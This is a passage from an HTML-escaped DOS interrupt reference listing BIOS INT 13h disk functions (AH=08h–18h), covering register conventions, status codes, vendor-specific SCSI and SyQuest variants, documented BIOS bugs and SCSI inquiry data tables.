2.88M&lt;BR&gt; 10h ATAPI Removable Media Device&lt;BR&gt;--------d-1308-------------------------------&lt;BR&gt;INT 13 - V10DISK.SYS - SET FORMAT&lt;BR&gt;&amp;nbsp;AH = 08h&lt;BR&gt;&amp;nbsp;AL = number of sectors&lt;BR&gt;&amp;nbsp;CH = cylinder number (bits 8,9 in high bits of CL)&lt;BR&gt;&amp;nbsp;CL = sector number&lt;BR&gt;&amp;nbsp;DH = head&lt;BR&gt;&amp;nbsp;DL = drive&lt;BR&gt;Return: AH = status code (see #00234)&lt;BR&gt;Program: V10DISK.SYS is a driver for the Flagstaff Engineering 8" floppies&lt;BR&gt;Note: details not available&lt;BR&gt;SeeAlso: AH=03h,AH=06h"V10DISK.SYS"&lt;BR&gt;--------y-130800DLF0-------------------------&lt;BR&gt;INT 13 - SecureDrive - INSTALLATION CHECK&lt;BR&gt;&amp;nbsp;AX = 08000h&lt;BR&gt;&amp;nbsp;DL = F0h&lt;BR&gt;Return: AX = EDCBh for version 1.0-1.2&lt;BR&gt;&amp;nbsp;AX = EDCCh for version 1.3&lt;BR&gt;&amp;nbsp;CX = code segment&lt;BR&gt;&amp;nbsp;DX = data address within code segment&lt;BR&gt;Program: SecureDrive by Mike Ingle &amp;lt;&lt;A href="mailto:mikeingle@delphi.com"&gt;mikeingle@delphi.com&lt;/A&gt;&amp;gt; allows you to create&lt;BR&gt;&amp;nbsp;&amp;nbsp; an encrypted partition on your harddisk.&lt;BR&gt;--------B-1309-------------------------------&lt;BR&gt;INT 13 - HARD DISK - INITIALIZE CONTROLLER WITH DRIVE PARAMETERS (AT,PS)&lt;BR&gt;&amp;nbsp;AH = 09h&lt;BR&gt;&amp;nbsp;DL = drive (80h for first, 81h for second)&lt;BR&gt;Return: CF clear if successful&lt;BR&gt;&amp;nbsp;CF set on error&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;Notes: on the PC and XT, this function uses the parameter table pointed at by&lt;BR&gt;&amp;nbsp;&amp;nbsp; INT 41&lt;BR&gt;&amp;nbsp;on the AT and later, this function uses the parameter table pointed at&lt;BR&gt;&amp;nbsp;&amp;nbsp; by INT 41 if DL=80h, and the parameter table pointed at by INT 46 if&lt;BR&gt;&amp;nbsp;&amp;nbsp; DL=81h&lt;BR&gt;SeeAlso: INT 41"HARD DISK 0",INT 46"HARD DISK 1"&lt;BR&gt;--------B-130A-------------------------------&lt;BR&gt;INT 13 - HARD DISK - READ LONG SECTOR(S) (AT and later)&lt;BR&gt;&amp;nbsp;AH = 0Ah&lt;BR&gt;&amp;nbsp;AL = number of sectors (01h may be only value supported)&lt;BR&gt;&amp;nbsp;CH = low eight bits of cylinder number&lt;BR&gt;&amp;nbsp;CL = sector number (bits 5-0)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; high two bits of cylinder number (bits 7-6)&lt;BR&gt;&amp;nbsp;DH = head number&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; data buffer&lt;BR&gt;Return: CF clear if successful&lt;BR&gt;&amp;nbsp;CF set on error&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;&amp;nbsp;AL = number of sectors transferred&lt;BR&gt;Notes: this function reads in four to seven bytes of error-correcting code&lt;BR&gt;&amp;nbsp;&amp;nbsp; along with each sector's worth of information&lt;BR&gt;&amp;nbsp;data errors are not automatically corrected, and the read is aborted&lt;BR&gt;&amp;nbsp;&amp;nbsp; after the first sector with an ECC error&lt;BR&gt;&amp;nbsp;used for diagnostics only on PS/2 systems; IBM officially classifies&lt;BR&gt;&amp;nbsp;&amp;nbsp; this function as optional&lt;BR&gt;BUG: on the original IBM AT BIOS (1984/01/10) this function does not disable&lt;BR&gt;&amp;nbsp;&amp;nbsp; interrupts for harddisks (DL &amp;gt;= 80h). On these machines the MS-DOS/&lt;BR&gt;&amp;nbsp;&amp;nbsp; PC DOS IO.SYS/IBMBIO.COM installs a special filter to bypass the&lt;BR&gt;&amp;nbsp;&amp;nbsp; buggy code in the ROM (see CALL F000h:211Eh)&lt;BR&gt;SeeAlso: AH=02h,AH=0Bh,MEM 0040h:0074h&lt;BR&gt;--------B-130B-------------------------------&lt;BR&gt;INT 13 - HARD DISK - WRITE LONG SECTOR(S) (AT and later)&lt;BR&gt;&amp;nbsp;AH = 0Bh&lt;BR&gt;&amp;nbsp;AL = number of sectors (01h may be only value supported)&lt;BR&gt;&amp;nbsp;CH = low eight bits of cylinder number&lt;BR&gt;&amp;nbsp;CL = sector number (bits 5-0)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; high two bits of cylinder number (bits 7-6)&lt;BR&gt;&amp;nbsp;DH = head number&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; data buffer&lt;BR&gt;Return: CF clear if successful&lt;BR&gt;&amp;nbsp;CF set on error&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;&amp;nbsp;AL = number of sectors transferred&lt;BR&gt;Notes: each sector's worth of data must be followed by four to seven bytes of&lt;BR&gt;&amp;nbsp;&amp;nbsp; error-correction information&lt;BR&gt;&amp;nbsp;used for diagnostics only on PS/2 systems; IBM officially classifies&lt;BR&gt;&amp;nbsp;&amp;nbsp; this function as optional&lt;BR&gt;SeeAlso: AH=03h,AH=0Ah,MEM 0040h:0074h&lt;BR&gt;--------B-130C-------------------------------&lt;BR&gt;INT 13 - HARD DISK - SEEK TO CYLINDER&lt;BR&gt;&amp;nbsp;AH = 0Ch&lt;BR&gt;&amp;nbsp;CH = low eight bits of cylinder number&lt;BR&gt;&amp;nbsp;CL = sector number (bits 5-0)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; high two bits of cylinder number (bits 7-6)&lt;BR&gt;&amp;nbsp;DH = head number&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second hard disk)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;SeeAlso: AH=00h,AH=02h,AH=0Ah,AH=47h&lt;BR&gt;--------B-130D-------------------------------&lt;BR&gt;INT 13 - HARD DISK - RESET HARD DISKS&lt;BR&gt;&amp;nbsp;AH = 0Dh&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second hard disk)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;Notes: reinitializes the hard disk controller, resets the specified drive's&lt;BR&gt;&amp;nbsp;&amp;nbsp; parameters, and recalibrates the drive's heads (seek to track 0)&lt;BR&gt;&amp;nbsp;for PS/2 35SX, 35LS, 40SX and L40SX, as well as many other systems,&lt;BR&gt;&amp;nbsp;&amp;nbsp; both the master drive and the slave drive respond to the Reset&lt;BR&gt;&amp;nbsp;&amp;nbsp; function that is issued to either drive&lt;BR&gt;&amp;nbsp;not for PS/2 ESDI drives&lt;BR&gt;SeeAlso: AH=00h,INT 21/AH=0Dh&lt;BR&gt;--------B-130E-------------------------------&lt;BR&gt;INT 13 - HARD DISK - READ SECTOR BUFFER (XT only)&lt;BR&gt;&amp;nbsp;AH = 0Eh&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second hard disk)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; buffer&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234)&lt;BR&gt;Notes: transfers controller's sector buffer.  No data is read from the drive&lt;BR&gt;&amp;nbsp;used for diagnostics only on PS/2 systems&lt;BR&gt;SeeAlso: AH=0Ah&lt;BR&gt;--------B-130F-------------------------------&lt;BR&gt;INT 13 - HARD DISK - WRITE SECTOR BUFFER (XT only)&lt;BR&gt;&amp;nbsp;AH = 0Fh&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second hard disk)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; buffer&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234)&lt;BR&gt;Notes: does not write data to the drive&lt;BR&gt;&amp;nbsp;should be called before formatting to initialize an XT-type&lt;BR&gt;&amp;nbsp;&amp;nbsp; controller's sector buffer&lt;BR&gt;&amp;nbsp;used for diagnostics only on PS/2 systems&lt;BR&gt;SeeAlso: AH=0Bh&lt;BR&gt;--------B-1310-------------------------------&lt;BR&gt;INT 13 - HARD DISK - CHECK IF DRIVE READY&lt;BR&gt;&amp;nbsp;AH = 10h&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second hard disk)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234 at AH=01h)&lt;BR&gt;SeeAlso: AH=11h&lt;BR&gt;--------B-1311-------------------------------&lt;BR&gt;INT 13 - HARD DISK - RECALIBRATE DRIVE&lt;BR&gt;&amp;nbsp;AH = 11h&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second hard disk)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234 at AH=01h)&lt;BR&gt;Note: causes hard disk controller to seek the specified drive to cylinder 0&lt;BR&gt;SeeAlso: AH=00h,AH=0Ch,AH=10h,AH=19h"FIXED DISK",MEM 0040h:003Eh&lt;BR&gt;--------B-1312-------------------------------&lt;BR&gt;INT 13 - HARD DISK - CONTROLLER RAM DIAGNOSTIC (XT,PS)&lt;BR&gt;&amp;nbsp;AH = 12h&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second hard disk)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;AL = 00h&lt;BR&gt;SeeAlso: AH=13h,AH=14h&lt;BR&gt;--------d-1312-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI CONTROLLER - STOP SCSI DISK&lt;BR&gt;&amp;nbsp;AH = 12h&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234 at AH=01h)&lt;BR&gt;Notes: available at least on the TMC-870 8-bit SCSI controller BIOS v6.0A&lt;BR&gt;&amp;nbsp;if the given drive is a SCSI device, the SCSI Stop Unit command is sent&lt;BR&gt;&amp;nbsp;&amp;nbsp; and either "Disk prepared for shipping" or "Disk Stop command failed"&lt;BR&gt;&amp;nbsp;&amp;nbsp; is displayed&lt;BR&gt;&amp;nbsp;the TMC-950 does not support any Future Domain BIOS calls; instead,&lt;BR&gt;&amp;nbsp;&amp;nbsp; it provides a full CAM implementation (see INT 4F/AX=8100h)&lt;BR&gt;--------d-1312-------------------------------&lt;BR&gt;INT 13 - SyQuest - START/STOP SCSI DISK&lt;BR&gt;&amp;nbsp;AH = 12h&lt;BR&gt;&amp;nbsp;AL = subfunction&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 00h start disk&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 01h stop disk&lt;BR&gt;&amp;nbsp;CX = wait flag&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 00h wait for ready&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 01h don't wait for ready&lt;BR&gt;&amp;nbsp;DL = hard drive ID (bit 7 for hard disks must be set)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 00h successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 01h invalid function request&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h timeout&lt;BR&gt;SeeAlso: AH=12h"Future Domain",AH=13h"SyQuest"&lt;BR&gt;--------B-1313-------------------------------&lt;BR&gt;INT 13 - HARD DISK - DRIVE DIAGNOSTIC (XT,PS)&lt;BR&gt;&amp;nbsp;AH = 13h&lt;BR&gt;&amp;nbsp;DL = drive number (80h = first, 81h = second hard disk)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;AL = 00h&lt;BR&gt;SeeAlso: AH=12h"HARD DISK",AH=14h"HARD DISK"&lt;BR&gt;--------d-1313-------------------------------&lt;BR&gt;INT 13 - SyQuest - READ DRIVE PARAMATERS (for DOS 5+)&lt;BR&gt;&amp;nbsp;AH = 13h&lt;BR&gt;&amp;nbsp;DL = drive ID (bit 7 set for hard disks)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status (07h) (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = 00h&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BL = drive type (AT/PS2 floppies only) (see #00242)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CH = low eight bits of maximum cylinder number&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CL = maximum sector number (bits 5-0)&lt;BR&gt;&amp;nbsp;&amp;nbsp; high two bits of maximum cylinder number (bits 7-6)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DH = maximum head number&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DL = number of drives&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ES:DI -&amp;gt; drive parameter table (floppies only)&lt;BR&gt;Notes: the return values are identical to the standard INT 13/AH=08h, but the&lt;BR&gt;&amp;nbsp;&amp;nbsp; number of drives is not limited to 2, so&lt;BR&gt;&amp;nbsp;scanning all possible drive numbers with the Read DASD Type call&lt;BR&gt;&amp;nbsp;&amp;nbsp; (AH=15h) should generally be preferred to determine the number of&lt;BR&gt;&amp;nbsp;&amp;nbsp; drives attached to the system.&lt;BR&gt;SeeAlso: AH=08h"PC",AH=12h"SyQuest",AH=15h,AH=59h"SyQuest"&lt;BR&gt;--------B-1314-------------------------------&lt;BR&gt;INT 13 - HARD DISK - CONTROLLER INTERNAL DIAGNOSTIC&lt;BR&gt;&amp;nbsp;AH = 14h&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234 at AH=01h)&lt;BR&gt;&amp;nbsp;AL = 00h&lt;BR&gt;SeeAlso: AH=12h,AH=13h&lt;BR&gt;--------B-1315-------------------------------&lt;BR&gt;INT 13 - DISK - GET DISK TYPE (XT 1986/1/10 or later,XT286,AT,PS)&lt;BR&gt;&amp;nbsp;AH = 15h&lt;BR&gt;&amp;nbsp;DL = drive number (bit 7 set for hard disk)&lt;BR&gt;&amp;nbsp;(AL = FFh, CX = FFFFh, see Note)&lt;BR&gt;Return: CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = type code&lt;BR&gt;&amp;nbsp;&amp;nbsp;00h no such drive&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (SpeedStor) AL = 03h hard disk&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CX:DX = number of 512-byte sectors&lt;BR&gt;&amp;nbsp;&amp;nbsp;01h floppy without change-line support&lt;BR&gt;&amp;nbsp;&amp;nbsp;02h floppy (or other removable drive) with change-line support&lt;BR&gt;&amp;nbsp;&amp;nbsp;03h hard disk&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CX:DX = number of 512-byte sectors&lt;BR&gt;&amp;nbsp;CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status (see #00234 at AH=01h)&lt;BR&gt;Note: SyQuest can report type 01h or 02h for 'hard disks', since its media&lt;BR&gt;&amp;nbsp;&amp;nbsp; is removable&lt;BR&gt;BUGS: many versions of the Award 486 BIOS do not return the sector count&lt;BR&gt;&amp;nbsp;&amp;nbsp; because the BIOS exit code restores CX and DX to their original&lt;BR&gt;&amp;nbsp;&amp;nbsp; values after the function had already set them to correct values&lt;BR&gt;&amp;nbsp;Some releases of PC Tools REBUILD preset CX=FFFFh and only trust the&lt;BR&gt;&amp;nbsp;&amp;nbsp; results if CH &amp;lt;= 2 on return (which would cut off drives &amp;gt; 16 Gb).&lt;BR&gt;&amp;nbsp;several different Compaq BIOSes incorrectly report high-numbered&lt;BR&gt;&amp;nbsp;&amp;nbsp; drives (such as 90h, B0h, D0h, and F0h) as present, giving them the&lt;BR&gt;&amp;nbsp;&amp;nbsp; same geometry as drive 80h; as a workaround, scan through disk&lt;BR&gt;&amp;nbsp;&amp;nbsp; numbers, stopping as soon as the number of valid drives encountered&lt;BR&gt;&amp;nbsp;&amp;nbsp; equals the value in 0040h:0075h&lt;BR&gt;&amp;nbsp;the PS/2 Model 30 fails to reset the bus after INT 13/AH=08h and&lt;BR&gt;&amp;nbsp;&amp;nbsp; INT 13/AH=15h.&amp;nbsp; A workaround is to monitor for these functions&lt;BR&gt;&amp;nbsp;&amp;nbsp; and perform a transparent INT 13/AH=01h status read afterwards.&lt;BR&gt;&amp;nbsp;&amp;nbsp; This will reset the bus. The MS-DOS 6.0 IO.SYS takes care of&lt;BR&gt;&amp;nbsp;&amp;nbsp; this by installing a special INT 13h interceptor for this purpose.&lt;BR&gt;&amp;nbsp;Some releases of SpeedStor have a bug where it reports AX=0003h instead&lt;BR&gt;&amp;nbsp;&amp;nbsp; of correctly reporting AH=03h for hard disks. A possible workaround&lt;BR&gt;&amp;nbsp;&amp;nbsp; when testing for hard disks is to check for AH=03h and AX=0003h.&lt;BR&gt;&amp;nbsp;&amp;nbsp; In this case this function should be invoked with a bogus fixed&lt;BR&gt;&amp;nbsp;&amp;nbsp; value in AL, e.g. AL=FFh.&lt;BR&gt;SeeAlso: AH=08h,AH=16h,AH=17h,AH=19h"SCSI",MEM 0040h:0075h&lt;BR&gt;--------B-1316-------------------------------&lt;BR&gt;INT 13 - FLOPPY DISK - DETECT DISK CHANGE (XT 1986/1/10 or later,XT286,AT,PS)&lt;BR&gt;&amp;nbsp;AH = 16h&lt;BR&gt;&amp;nbsp;DL = drive number (00h-7Fh)&lt;BR&gt;&amp;nbsp;SI = 0000h (to avoid crash on AT&amp;amp;T 6300)&lt;BR&gt;Return: CF clear if change line inactive&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = 00h (disk not changed)&lt;BR&gt;&amp;nbsp;CF set if change line active&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status&lt;BR&gt;&amp;nbsp;&amp;nbsp;01h invalid command (SyQuest)&lt;BR&gt;&amp;nbsp;&amp;nbsp;06h change line active or not supported&lt;BR&gt;&amp;nbsp;&amp;nbsp;80h drive not ready or not present&lt;BR&gt;Notes: call AH=15h first to determine whether the drive supports a change&lt;BR&gt;&amp;nbsp;&amp;nbsp; line&lt;BR&gt;&amp;nbsp;this call also clears the media-change status, so that a disk change&lt;BR&gt;&amp;nbsp;&amp;nbsp; is only reported once&lt;BR&gt;BUGS: some versions of Award 386 Modular BIOS and AMI BIOS fail to clear&lt;BR&gt;&amp;nbsp;&amp;nbsp; the media-change status&lt;BR&gt;&amp;nbsp;AT&amp;amp;T 6300 WGS systems crash if SI &amp;lt;&amp;gt; 0 on entry.&lt;BR&gt;&amp;nbsp;some pre 1986/08/04 Compaq ROM BIOS have a serious bug where this&lt;BR&gt;&amp;nbsp;&amp;nbsp; function may re-configure a hard disk depending on what is located&lt;BR&gt;&amp;nbsp;&amp;nbsp; at ES:[BX] and data indexed to by it. MS-DOS/PC DOS IO.SYS/IBMBIO.COM&lt;BR&gt;&amp;nbsp;&amp;nbsp; install a special filter when they detect Compaq ROM BIOSes with&lt;BR&gt;&amp;nbsp;&amp;nbsp; earlier dates.&lt;BR&gt;&amp;nbsp;some Compaq 286 systems have a bug in all INT 13h functions &amp;gt;= 16h,&lt;BR&gt;&amp;nbsp;&amp;nbsp; which causes the byte at DS:0074h to be destroyed when called for&lt;BR&gt;&amp;nbsp;&amp;nbsp; hard disks (DL &amp;gt;= 80h). MS-DOS/PC DOS IO.SYS/IBMBIO.COM performs a&lt;BR&gt;&amp;nbsp;&amp;nbsp; test on this bug using this sub-function, and if found installs a&lt;BR&gt;&amp;nbsp;&amp;nbsp; special filter which points DS into ROM, so that it cannot cause&lt;BR&gt;&amp;nbsp;&amp;nbsp; any harm.&lt;BR&gt;&amp;nbsp;some drives (or controllers???) forget the change line status&lt;BR&gt;&amp;nbsp;&amp;nbsp; if another drive is accessed afterwards. The DOS BIOS takes care&lt;BR&gt;&amp;nbsp;&amp;nbsp; of this by not relying on the reported change line status when&lt;BR&gt;&amp;nbsp;&amp;nbsp; the change line is not active and a different drive is accessed,&lt;BR&gt;&amp;nbsp;&amp;nbsp; instead it reports "don't know" to the DOS kernel.&lt;BR&gt;SeeAlso: AH=15h,AH=49h&lt;BR&gt;--------B-1317-------------------------------&lt;BR&gt;INT 13 - FLOPPY DISK - SET DISK TYPE FOR FORMAT (AT,PS)&lt;BR&gt;&amp;nbsp;AH = 17h&lt;BR&gt;&amp;nbsp;AL = format type&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 01h = 320/360K disk in 360K drive&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 02h = 320/360K disk in 1.2M drive&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 03h = 1.2M disk in 1.2M drive&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 04h = 720K disk in 720K or 1.44M drive&lt;BR&gt;&amp;nbsp;DL = drive number&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234 at AH=01h)&lt;BR&gt;Note: this function does not handle 1.44M drives; use AH=18h instead&lt;BR&gt;SeeAlso: AH=15h,AH=18h&lt;BR&gt;--------d-131700-----------------------------&lt;BR&gt;INT 13 - Future Domain SCSI CONTROLLER - GET INQUIRY INFO FROM SCSI DEVICE&lt;BR&gt;&amp;nbsp;AX = 1700h&lt;BR&gt;&amp;nbsp;CL = length of buffer&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; buffer for info (see #00243)&lt;BR&gt;Return: CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CH = number of bytes returned in buffer???&lt;BR&gt;&amp;nbsp;CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status code (see #00234 at AH=01h)&lt;BR&gt;Notes: this function is not available with 8-bit controller ROM versions &amp;lt; 7.0&lt;BR&gt;&amp;nbsp;information block bytes 5-n are vendor-specific in older SCSI devices&lt;BR&gt;&amp;nbsp;the TMC-950 does not support any Future Domain BIOS calls; instead,&lt;BR&gt;&amp;nbsp;&amp;nbsp; it provides a full CAM implementation (see INT 4F/AX=8100h)&lt;BR&gt;SeeAlso: AH=18h"SCSI",AH=1Bh"SCSI"&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of Future Domain SCSI inquiry information block:&lt;BR&gt;Offset Size Description (Table 00243)&lt;BR&gt; 00h BYTE device type&lt;BR&gt;&amp;nbsp;&amp;nbsp;bits 0-4: peripheral device type (see #00244)&lt;BR&gt;&amp;nbsp;&amp;nbsp;bits 5-7: peripheral qualifier (see #00245)&lt;BR&gt; 01h BYTE device type modifier&lt;BR&gt;&amp;nbsp;&amp;nbsp;bits 0-6: device type modifier&lt;BR&gt;&amp;nbsp;&amp;nbsp;bit 7: removable medium&lt;BR&gt; 02h BYTE SCSI version (see #00246)&lt;BR&gt; 03h BYTE data format/capabilities (see #00247)&lt;BR&gt; 04h BYTE additional data length (total remaining bytes)&lt;BR&gt; 05h  2 BYTEs reserved&lt;BR&gt; 07h BYTE device capabilities (see #00248)&lt;BR&gt; 08h  8 BYTEs vendor identification (space-padded ASCII)&lt;BR&gt; 10h  8 BYTEs product identification (space-padded ASCII)&lt;BR&gt; 20h  4 BYTEs product revision level (space-padded ASCII)&lt;BR&gt; 24h 20 BYTEs vendor specific&lt;BR&gt; 38h 40 BYTEs reserved&lt;BR&gt; 60h var vendor specific parameters&lt;/P&gt;&lt;br /&gt;&lt;P&gt;(Table 00244)&lt;BR&gt;Values for Future Domain SCSI peripheral device type:&lt;BR&gt; 00h direct-access device (e.g., magnetic disk)&lt;BR&gt; 01h sequential-access device (e.g., magnetic tape)&lt;BR&gt; 02h printer device&lt;BR&gt; 03h processor device&lt;BR&gt; 04h write-once device (e.g., some optical disks)&lt;BR&gt; 05h CD-ROM device&lt;BR&gt; 06h scanner device&lt;BR&gt; 07h optical memory device (e.g., some optical disks)&lt;BR&gt; 08h medium changer device (e.g., jukeboxes)&lt;BR&gt; 09h communications device&lt;BR&gt; 0Ah (defined by ASC IT8)&lt;BR&gt; 0Bh (defined by ASC IT8)&lt;BR&gt;&amp;nbsp;0Ch-1Eh reserved&lt;BR&gt; 1Fh unknown or no device type&lt;/P&gt;&lt;br /&gt;&lt;P&gt;(Table 00245)&lt;BR&gt;Values for Future Domain SCSI peripheral qualifier:&lt;BR&gt; 000b device is currently connected to this logical unit and available&lt;BR&gt; 001b target is capable of supporting the specified peripheral, but the&lt;BR&gt;&amp;nbsp;&amp;nbsp; physical device is not currently connected to this logical unit&lt;BR&gt; 010b reserved&lt;BR&gt; 011b target can't support a physical device on this logical unit&lt;BR&gt; 1xxb vendor specific&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Bitfields for Future Domain SCSI version:&lt;BR&gt;Bit(s) Description (Table 00246)&lt;BR&gt; 0-2 ANSI-approved version&lt;BR&gt;&amp;nbsp;000 device might or might not comply to ANSI standard&lt;BR&gt;&amp;nbsp;001 device complies to ANSI SCSI-1&lt;BR&gt;&amp;nbsp;010 device complies to ANSI SCSI-2&lt;BR&gt;&amp;nbsp;other reserved&lt;BR&gt; 3-5 ECMA version&lt;BR&gt; 6-7 ISO version&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Bitfields for Future Domain SCSI data format/capabilities:&lt;BR&gt;Bit(s) Description (Table 00247)&lt;BR&gt; 0-2 response data format&lt;BR&gt;&amp;nbsp;000 information block is as specified in SCSI-1&lt;BR&gt;&amp;nbsp;001 information block is as specified in CCS&lt;BR&gt;&amp;nbsp;010 information block is as specified in SCSI-2&lt;BR&gt;&amp;nbsp;other reserved&lt;BR&gt; 4-5 reserved&lt;BR&gt; 6 terminate I/O process supported&lt;BR&gt; 7 asynchronous event notification supported&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Bitfields for Future Domain SCSI device capabilities:&lt;BR&gt;Bit(s) Description (Table 00248)&lt;BR&gt; 0 device responds to RESET with a hard RESET&lt;BR&gt; 1 tagged command queuing supported&lt;BR&gt; 2 reserved&lt;BR&gt; 3 linked commands supported&lt;BR&gt; 4 synchronous data transfer supported&lt;BR&gt; 5 16-transfers supported&lt;BR&gt; 6 32-transfers supported&lt;BR&gt; 7 relative addressing supported&lt;BR&gt;--------B-1318-------------------------------&lt;BR&gt;INT 13 - DISK - SET MEDIA TYPE FOR FORMAT (AT model 3x9,XT2,XT286,PS)&lt;BR&gt;&amp;nbsp;AH = 18h&lt;BR&gt;&amp;nbsp;DL = drive number&lt;BR&gt;&amp;nbsp;CH = lower 8 bits of highest cylinder number (number of cylinders - 1)&lt;BR&gt;&amp;nbsp;CL = sectors per track (bits 0-5)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; top 2 bits of highest cylinder number (bits 6,7)&lt;BR&gt;Return: AH = status&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 00h requested combination supported&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 01h function not available&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0Ch not supported or drive type unknown&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h there is no disk in the drive&lt;BR&gt;&amp;nbsp;ES:DI -&amp;gt; 11-byte parameter table (see #01264 at INT 1E)&lt;BR&gt;Note: this function does not set the INT 1E vector to point at the 